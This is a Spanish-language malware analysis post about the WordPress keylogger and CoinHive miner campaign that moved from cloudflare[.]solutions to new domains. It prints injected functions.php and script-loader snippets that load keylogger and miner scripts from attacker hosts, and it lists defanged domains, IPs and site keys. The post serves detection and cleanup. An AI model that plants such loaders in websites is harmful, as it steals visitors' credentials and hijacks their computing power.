Keylogger Cloudflare[.]Solutions en Nuevos Dominios

Share this…

Hace unos meses cubrimos dos inyecciones relacionadas al malware “cloudflare.solutions”: un minero de criptomonedas CoinHive escondido detrás de ejecutables de Google Analytics y jQuery falsos, y el keylogger de WordPress de Cloudflare[.]solutions. Este malware fue identificado originalmente por uno de nuestros analistas en abril del 2017, y desde entonces ha evolucionado y se ha esparcido a nuevos dominios.

El Keylogger Se Extiende a Nuevos Dominios

Unos días después de que se publicara nuestra publicación sobre el keylogger el 8 de diciembre de 2017, el dominio Cloudflare[.]solutions fue derribado. Sin embargo, este no fue el final de la campaña de malware, los atacantes registraron inmediatamente nuevos dominios incluyendo cdjs[.]online el 8 de diciembre, cdns[.]ws el 9 de diciembre y msdns[.]online el 16 de diciembre.

PublicWWW ya ha identificado relativamente pocos sitios infectados: 129 sitios para cdns[.]ws y 103 sitios para cdjs[.]online, pero es probable que la mayoría de los sitios web aún no se hayan indexado. Desde mediados de diciembre, msdns[.]online ha infectado más de mil sitios web, aunque la mayoría son reinfecciones de los sitios que ya habían sido comprometidos.

Ejecutables Inyectados en este Ataque

Hay una variedad de ejecutables o scripts inyectados que se han utilizado en este ataque en el último mes:

  • hxxps://cdjs[.]online/lib.js
  • hxxps://cdjs[.]online/lib.js?ver=…
  • hxxps://cdns[.]ws/lib/googleanalytics.js?ver=…
  • hxxps://msdns[.]online/lib/mnngldr.js?ver=…
  • hxxps://msdns[.]online/lib/klldr.js

El ejecutable cdjs[.]online es inyectado en la base de datos de WordPress (en la tabla wp_posts) o dentro del archivo functions.php del tema, justo como vimos en el ataque anterior de cloudflare[.]solutions.

Los ejecutables desde cdns[.]ws y msdns[.]online también pueden ser inyectados dentro del archivo functions.php del tema:

function chmnr_klgr_enqueue_script() {
wp_enqueue_script( 'chmnr_klgr-js', 'hxxps://cdns[.]ws/lib/googleanalytics.js', false );

A diferencia de la versión anterior que contenía la función hook “add_js_scripts” que ponía el ejecutable en la cola, este ataque usa funciones y nombres de hooks que sugieren cuál es su propósito verdadero. Por ejemplo, chmnr_klgr-js probablemente se traduce a “miner_keylogger“.

La Evolución del Ejecutable de GoogleAnalytics Falso

Como en la versión anterior de la campaña, identificamos un archivo googleanalytics.js falso que carga un ejecutable ofuscado.

Se decodifica en el siguiente código, revelando una función etiquetada startGoogleAnalytics:

Ejecutable googleanalytics.js decodificado
Ejecutable googleanalytics.js decodificado

Este ejecutable startGoogleAnalytics carga otros tres ejecutables desde cdns[.]ws:

  1. hxxps://cdns[.]ws/lib/jquery-3.2.1.min.js?v=1.013
  2. hxxps://cdns[.]ws/lib/kl.js
  3. hxxps://cdns[.]ws/lib/mnrstrtr.js

Nota: En el caso del archivo libs.js desde cdjs[.]online, este carga un ejecutable casi identifico, pero sin ninguna ofuscación.

Minero de Criptomonedas en jQuery Falso

Identificamos que la librería jquery-3.2.1.min.js es similar al minero de criptomonedas CoinHive encriptado de la versión anterior, cargado desde hxxp:// 3117488091/lib/jquery-3.2.1.min.js?v=3.2.11 (o desde hxxp://185 .209 .23 .219/lib/jquery-3.2.1.min.js?v=3.2.11, una representación más familiar de la dirección IP). Esto no es nada sorprendente, ya que cdjs[.]online también existe en el servidor 185 .209 .23 .219.

Es interesante notar que el ejecutable extiende la librería CoinHive y agrega una configuración alternativa utilizando el servidor 185 .209 .23 .219 (específicamente cdjs[.]online) para LIB_URL y WEBSOCKET_SHARDS.

Dos configuraciones de mineros
Dos configuraciones de mineros

En este caso, la configuración de CoinHive es utilizada por defecto, sin embargo, si la conexión al servidor de CoinHive falla, los atacantes utilizan la configuración decdjs[.]online con la llave de sitio lZnIoM7JAc6g0xBbWpUsVKSuLPBehT4s como plan de rescate.

Para inicializar el minero, el malware utiliza mnrstrtr.js, cargado desde la función startGoogleAnalytics maliciosa:

var gstats = new googleanalytics.Anonymous('NPRak9QU4lFBSneFt23qEIChh5r0SZev');

Este ejecutable crea una instancia del minero CoinHive con la llave de sitio NPRak9QU4lFBSneFt23qEIChh5r0SZev, que es la misma llave vista en la versión anterior del malware.

El Keylogger

El ejecutable /lib/kl.js es el keylogger familiar (de ahí el nombre kl.js) que vimos el año pasado en el malware cloudflare[.]solutions.

En el screenshot de abajo, puedes ver que los archivos JavaScript decodificados son bastante familiares a los de la campaña anterior:

Comparando la diferencia entre el nuevo y el viejo keylogger
Comparando la diferencia entre el nuevo y el viejo keylogger

Los únicos cambios ocurren en la dirección a socketURL, que ahora se decodifica en “wss://cdjs[.]online:8085/” (en lugar de wss://cloudflare[.]solutions:8085) y la parte roja de las variables linterkeys cambiadas de “https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js” a un nombre más neutral, “https://js.io/query”.

Desafortunadamente para los usuarios desprevenidos y los propietarios de los sitios web infectados, el keylogger se comporta de la misma manera que en las campañas anteriores. El ejecutable envía los datos ingresados en cada formulario del sitio web (incluido el formulario de inicio de sesión) a los hackers a través del protocolo WebSocket. Puedes leer sobre cómo funciona el keylogger en nuestra publicación anterior.

Inyecciones desde Msdns[.]online

Me gustaría resaltar que el nuevo dominio malicioso msdns[.]online, a diferencia de los otros dos dominios, este sirve un minero de criptomonedas (hxxps://msdns[.]online/lib/mnngldr.js?ver=… que todavía pretende ser Google Analytics y jQuery) o un keylogger (hxxps://msdns[.]online/lib/klldr.js).

El keylogger carga este código:

var snf = document.createElement("script");
snf.type = "text/javascript";
snf.setAttribute("defer", "defer");
snf.src = "hxxps://msdns[.]online/lib/kl.js";
document.head.appendChild(snf);

Este código carga el ejecutable hxxps://msdns[.]online/lib/kl.js. Ya que msdns[.]online está ubicado en el mismo servidor que cdns[.]ws, el archivo kl.js es el mismo keylogger de WordPress que describimos en la sección anterior. Esto nos ayuda a traducir el nombre de archivo klldr.js a “keylogger loader”.

Tres IPs Maliciosas

Hemos identificado que este nuevo ataque está utilizando 3 servidores:

  • 185.209.23.219 (cdjs[.]online o 3117488091, donde todavía puedes encontrar la versión cloudflare[.]solutions del keylogger)
  • 185.14.28.10 (o 3104709642, que todavía aloja el minero de criptomonedas hxxp://185.14.28 .10/lib/jquery-3.2.1.min.js?v=3.2.11 y la versión cloudflare[.]solutions del keylogger hxxp://185 .14 .28. 10/lib/kl.js)
  • 107.181.161.159 (cdns[.]ws y msdns[.]online – que sirve nuevas versiones de los mineros de criptomonedas y keyloggers)

Conclusión

Si bien estos nuevos ataques aún no parecen ser tan masivos como la campaña Cloudflare[.]solutions original, la tasa de reinfección muestra que todavía hay muchos sitios que no se han protegido adecuadamente después de la infección original. Es posible que algunos de estos sitios web ni siquiera hayan notado la infección original.

Para limpiar un sitio web que se ha visto comprometido con esta infección, debes eliminar el código malicioso del archivo functions.php del tema, escanear la tabla wp_posts buscando posibles inyecciones, cambiar todas las contraseñas de WordPress (!) Y actualizar todo el software del servidor, incluyendo temas y plugins de terceros.

Puedes encontrar una guía más detallada sobre cómo limpiar un sitio web WordPress hackeado aquí. Como protección extra, te recomendamos utilizar un firewall de sitios web.